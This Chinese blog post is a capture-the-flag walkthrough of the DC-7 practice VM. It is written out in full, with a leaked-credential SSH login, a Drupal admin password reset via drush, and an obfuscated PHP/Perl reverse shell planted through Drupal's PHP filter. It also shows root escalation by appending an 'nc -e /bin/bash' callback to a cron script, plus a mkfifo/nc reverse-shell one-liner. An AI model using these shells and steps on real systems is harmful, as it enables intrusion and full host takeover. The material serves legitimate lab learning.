当前位置:网站首页>DC-7靶场下载及渗透实战详细过程(DC靶场系列)
DC-7靶场下载及渗透实战详细过程(DC靶场系列)
2022-08-10 22:11:00 【金 帛】
目录
DC-7靶场下载地址https://www.five86.com/downloads/DC-7.zip
一. 信息收集
1. 主机扫描
arp-scan -l
2. 端口扫描
3. 目录扫描
扫了半天也没扫出个有用的
4. 信息探测
提示我们跳出思维惯性,换种方法进行渗透,可以发现下面有个@DC7USER
搜索发现,源码泄露了,而且是官方泄露的
二. 渗透过程
1. 代码审计
废话不多说,先查看github上的源码
在配置文件里发现了个账号
dc7user:MdR3xOgB7#dW
2. ssh远程登入
测试发现登不进后台,但是能登进ssh
ssh [email protected]
探索过程中发现个文件,这里好像还不能提权
cat mbox
发现了个root用户的定时文件backups.sh,接下来看一下文件权限
ls -la
-rwxrwxr-x
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,这里可以作为提权的一个突破口
想写入东西反弹root的shell的,但是没有权限(我就知道没那么简单),不管了,先去瞧瞧里面写有啥
cd /opt/scripts
cat *
发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令
3. drush修改密码
这个命令需要先切换到drupal的目录
cd /var/www/html
通过命令我们发现了个管理员账号admin
drush user-information admin
接下来修改admin的密码
drush upwd admin --password="passwd"
接着我们登入管理员后台/user/login
登入成功
4. 反弹shell
进入了后台,想办法写个马进行反弹shell
找到了编辑文件的地方,但是没有PHP解释器,但是在扩展里可以安装
PHP解释器Drupal官方连接
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
填入连接后点击安装
文件下载完成,接着启动PHP编辑器
安装完成后在内容编辑的地方出现了PHP code
,接着我们添加php代码
写入PHP反弹shell
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while([email protected]($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if([email protected]($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP"; #监听ip
$yourport = 'your port'; #监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
点击保存后会自动执行该PHP代码,先监听端口再保存
nc -lvp 6666
反弹shell成功,升级交互shell
python -c "import pty;pty.spawn('/bin/bash')"
5. 提权
之前的提权方法都没有用,接下来我们利用root的定时任务进行提权
我们可以写个反弹shell的命令下去
echo "nc -e /bin/bash 192.168.120.129 5555" >> /opt/scripts/backups.sh
写入成功,先监听端口
nc -lvp 5555
接下来只要等待backups.sh文件定时root权限执行就好了
提权成功!
cat /root/*
拿到flag
三. 收获总结
1. 信息收集
信息收集很关键,要善于利用搜索引擎,搜索关键词并寻找突破口
2. Linux文件权限
3. 定时任务Cron
crontab -l #查看定时任务
4. linux反弹shell新姿势
有些操作系统的netcat不支持-e参数,这时候可以利用管道符命令mkfifo配合nc进行反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [监听IP] [监听PORT] >/tmp/f
边栏推荐
- 文件IO-缓冲区
- JS use regular expressions in g model and non g difference
- 华为HCIE云计算之Fusion Access桌面云
- 接口测试的概念、目的、流程、测试方法有哪些?
- H3C S5130 IRF做堆叠
- shell (text printing tool awk)
- 如何成为一名正义黑客?你应该学习什么?
- Shell编程之条件语句(二)
- FPGA - Memory Resources of 7 Series FPGA Internal Structure -03- Built-in Error Correction Function
- QT笔记——QT工具uic,rcc,moc,qmake的使用和介绍
猜你喜欢
德科立科创板上市:年营收7.3亿 市值59亿
ThreadLocal全面解析(一)
财务年报怎样翻译,为什么要选择专业翻译公司?
QT笔记——用VS + qt 生成dll 和 调用生成的dll
RK3399平台开发系列讲解(内核驱动外设篇)6.35、IAM20680陀螺仪介绍
Why general company will say "go back messages such as" after the end of the interview, rather than just tell the interviewer the result?
【640. Solving Equations】
An article to teach you a quick start and basic explanation of Pytest, be sure to read
Thread State 详解
测试4年感觉和1、2年时没什么不同?这和应届生有什么区别?
随机推荐
美味的石井饭
ThreadLocal全面解析(一)
LabVIEW分配多少线程?
[Maui official version] Create a cross-platform Maui program, as well as the implementation and demonstration of dependency injection and MVVM two-way binding
pytorch手撕CNN
OneNote 教程,如何在 OneNote 中整理笔记本?
瑞幸咖啡第二季营收33亿:门店达7195家 更换CFO
过滤器
shell programming without interaction
uni-app微信小程序——下拉多选框
MySQL: MySQL Cluster - Principle and Configuration of Master-Slave Replication
How to secure users in LDAP directory service?
This visual tool artifact is more intuitive and easy to use!love so much
服务——DNS正向反向域名解析服务
阿里云贾朝辉:云XR平台支持彼真科技呈现国风科幻虚拟演唱会
CIKM2022 | 基于双向Transformers对比学习的序列推荐
3598. Binary tree traversal (Huazhong University of Science and Technology exam questions)
BM13 determines whether a linked list is a palindrome
今日睡眠质量记录75分
特别的三杯鸡